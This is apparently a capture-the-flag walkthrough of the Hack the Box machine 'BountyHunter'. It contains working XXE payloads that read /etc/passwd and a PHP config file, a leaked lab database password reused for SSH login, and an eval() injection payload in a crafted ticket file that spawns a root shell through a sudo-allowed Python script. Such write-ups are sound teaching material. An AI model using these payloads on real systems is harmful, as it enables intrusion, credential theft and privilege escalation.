Details
This machine is BountyHunter from Hack the Box
Recon
kali@kali:~$ nmap -sV -p- 10.10.11.100
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-27 09:10 EDT
Nmap scan report for 10.10.11.100
Host is up (0.019s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.53 seconds
User
I started by browsing to http://10.10.11.100
The portal link takes you to /portal.php
The link on this page takes you to log_submit.php
I quickly sent in some test data
And inspected the request itself in Burp
This base64 decoded to the following XML
<?xml version="1.0" encoding="ISO-8859-1"?>
<bugreport>
<title>Test</title>
<cwe>Test</cwe>
<cvss>Test</cvss>
<reward>Test</reward>
</bugreport>
So maybe an XXE?
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE title [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<bugreport>
<title>&test;</title>
<cwe>Test</cwe>
<cvss>Test</cvss>
<reward>Test</reward>
</bugreport>
Which in url safe base64 is
PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz48IURPQ1RZUEUgdGl0bGUgWzwhRU5USVRZIHRlc3QgU1lTVEVNICdmaWxlOi8vL2V0Yy9wYXNzd2QnPl0%2bCgkJPGJ1Z3JlcG9ydD4KCQk8dGl0bGU%2bJnRlc3Q7PC90aXRsZT4KCQk8Y3dlPlRlc3Q8L2N3ZT4KCQk8Y3Zzcz5UZXN0PC9jdnNzPgoJCTxyZXdhcmQ%2bVGVzdDwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pg%3d%3d
If this works, it should display the contents of /etc/passwd
. So I made another request with this as the payload
We can see the content of /etc/passwd
in the response, so this is vulnerable to XXE. The full content of /etc/passwd
was
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
So there is a user called development
. But this doesn't help yet. So I enumerated the web app more, by conducting directory enumeration
kali@kali:~$ dirsearch -u http://10.10.11.100/ txt,html,php,md,bak -f -w /opt/Tools/SecLists/Discovery/Web-Content/raft-large-words.txt
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 820346
Output File: /opt/Tools/dirsearch/reports/10.10.11.100/-_21-08-27_09-58-44.txt
Error Log: /opt/Tools/dirsearch/logs/errors-21-08-27_09-58-44.log
Target: http://10.10.11.100/
[09:58:44] Starting:
[09:58:44] 403 - 277B - /.php
[09:58:44] 403 - 277B - /.html
[09:58:44] 301 - 309B - /js -> http://10.10.11.100/js/
[09:58:44] 403 - 277B - /js/
[09:58:44] 301 - 310B - /css -> http://10.10.11.100/css/
[09:58:44] 403 - 277B - /css/
[09:58:45] 200 - 25KB - /index.php
[09:58:45] 403 - 277B - /.htm
[09:58:46] 200 - 0B - /db.php
[09:58:47] 301 - 313B - /assets -> http://10.10.11.100/assets/
[09:58:47] 403 - 277B - /assets/
[09:58:48] 301 - 316B - /resources -> http://10.10.11.100/resources/
[09:58:48] 200 - 3KB - /resources/
[09:58:50] 200 - 25KB - /.
[09:58:50] 200 - 125B - /portal.php
db.php
could be interesting, so I used the XXE to exfiltrate it. I used a PHP filter to base64 encode it so it wouldn't be executed instead of displayed
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE title [<!ENTITY test SYSTEM 'php://filter/convert.base64-encode/resource=db.php'>]>
<bugreport>
<title>&test;</title>
<cwe>Test</cwe>
<cvss>Test</cvss>
<reward>Test</reward>
</bugreport>
In base64
PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz48IURPQ1RZUEUgdGl0bGUgWzwhRU5USVRZIHRlc3QgU1lTVEVNICdwaHA6Ly9maWx0ZXIvY29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPWRiLnBocCc%2bXT4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT4mdGVzdDs8L3RpdGxlPgoJCTxjd2U%2bVGVzdDwvY3dlPgoJCTxjdnNzPlRlc3Q8L2N2c3M%2bCgkJPHJld2FyZD5UZXN0PC9yZXdhcmQ%2bCgkJPC9idWdyZXBvcnQ%2b
This returned the following base64 as a result of the PHP filter
PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo=
Which decoded to
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>
This gave me a password to use, I tried it on ssh with the username identified earlier
kali@kali:~$ ssh development@10.10.11.100
development@10.10.11.100's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Fri 27 Aug 2021 03:12:24 PM UTC
System load: 0.08
Usage of /: 26.7% of 6.83GB
Memory usage: 28%
Swap usage: 0%
Processes: 215
Users logged in: 0
IPv4 address for eth0: 10.10.11.100
IPv6 address for eth0: dead:beef::250:56ff:feb9:fd98
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Fri Aug 27 01:00:11 2021 from 127.0.0.1
development@bountyhunter:~$
So I now had a shell, was this also the user flag?
development@bountyhunter:~$ ls -la
total 22356
drwxr-xr-x 8 development development 4096 Aug 27 01:56 .
drwxr-xr-x 3 root root 4096 Jun 15 16:07 ..
lrwxrwxrwx 1 root root 9 Apr 5 22:53 .bash_history -> /dev/null
-rw-r--r-- 1 development development 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 development development 3771 Feb 25 2020 .bashrc
drwx------ 2 development development 4096 Apr 5 22:50 .cache
-rw-r--r-- 1 root root 471 Jun 15 16:10 contract.txt
drwx------ 2 development development 4096 Aug 27 01:43 .gnupg
lrwxrwxrwx 1 root root 9 Jul 5 05:46 .lesshst -> /dev/null
drwxrwxr-x 3 development development 4096 Apr 6 23:34 .local
-rw-r--r-- 1 development development 807 Feb 25 2020 .profile
drwx------ 2 development development 4096 Aug 27 00:59 .ssh
-r--r----- 1 root development 33 Aug 26 23:19 user.txt
lrwxrwxrwx 1 root root 9 Jul 22 11:10 .viminfo -> /dev/null
development@bountyhunter:~$ cat user.txt
[REDACTED]
Root
It was user, next up, root. First I took a look at contract.txt
development@bountyhunter:~$ cat contract.txt
Hey team,
I'll be out of the office this week but please make sure that our contract with Skytrain Inc gets completed.
This has been our first job since the "rm -rf" incident and we can't mess this up. Whenever one of you gets on please have a look at the internal tool they sent over. There have been a handful of tickets submitted that have been failing validation and I need you to figure out why.
I set up the permissions for you to test this. Good luck.
-- John
This implied I had some level of permissions, so I checked sudo
development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User development may run the following commands on bountyhunter:
(root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
What's in this script then, if it can be exploited, I can run it as root
development@bountyhunter:~$ cat /opt/skytrain_inc/ticketValidator.py
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()
def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return False
def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close
main()
So the goal was to craft a file that would pass validation and end up being passed to the following peice of code
validationNumber = eval(x.replace("**", ""))
So it will need to start with a line of
# Skytrain Inc
Then a line of
## Ticket to
Then by having
__Ticket Code:__
The next loop enters the following code
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
So the line has to start with
**
Then all **
are removed, and it is split on +, the first thing on the left of a + is modular devided by 7, if that equals 4 the whole line is evaled. as 200 % 7 == 4
is true we can use
** 200 +
The whole line would then be eval'd so that needs to be valid, and i want a shell. So I'll have it spawn /bin/sh
as the script runs as root, this would be a root shell
** 200 + 1 if 1==0 else __import__('os').system('/bin/sh')
Overall this comes to
# Skytrain Inc
## Ticket to
__Ticket Code:__
** 200 + 1 if 1==0 else __import__('os').system('/bin/sh')
I saved this as jirbj.md
and passed it to the script
development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
./jirbj.md
Destination:
#
A shell popped out
# id
uid=0(root) gid=0(root) groups=0(root)
And that's root, now the flag
# cd /root
# ls -la
total 36
drwx------ 6 root root 4096 Jul 22 11:11 .
drwxr-xr-x 19 root root 4096 Jul 21 12:00 ..
lrwxrwxrwx 1 root root 9 Apr 5 22:52 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
drwx------ 2 root root 4096 Apr 6 04:11 .cache
drwxr-xr-x 3 root root 4096 Apr 5 22:58 .local
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
-r-------- 1 root root 33 Aug 26 23:19 root.txt
drwxr-xr-x 3 root root 4096 Apr 5 22:48 snap
drwx------ 2 root root 4096 Apr 5 22:48 .ssh
lrwxrwxrwx 1 root root 9 Jul 22 11:11 .viminfo -> /dev/null
# cat root.txt
[REDACTED]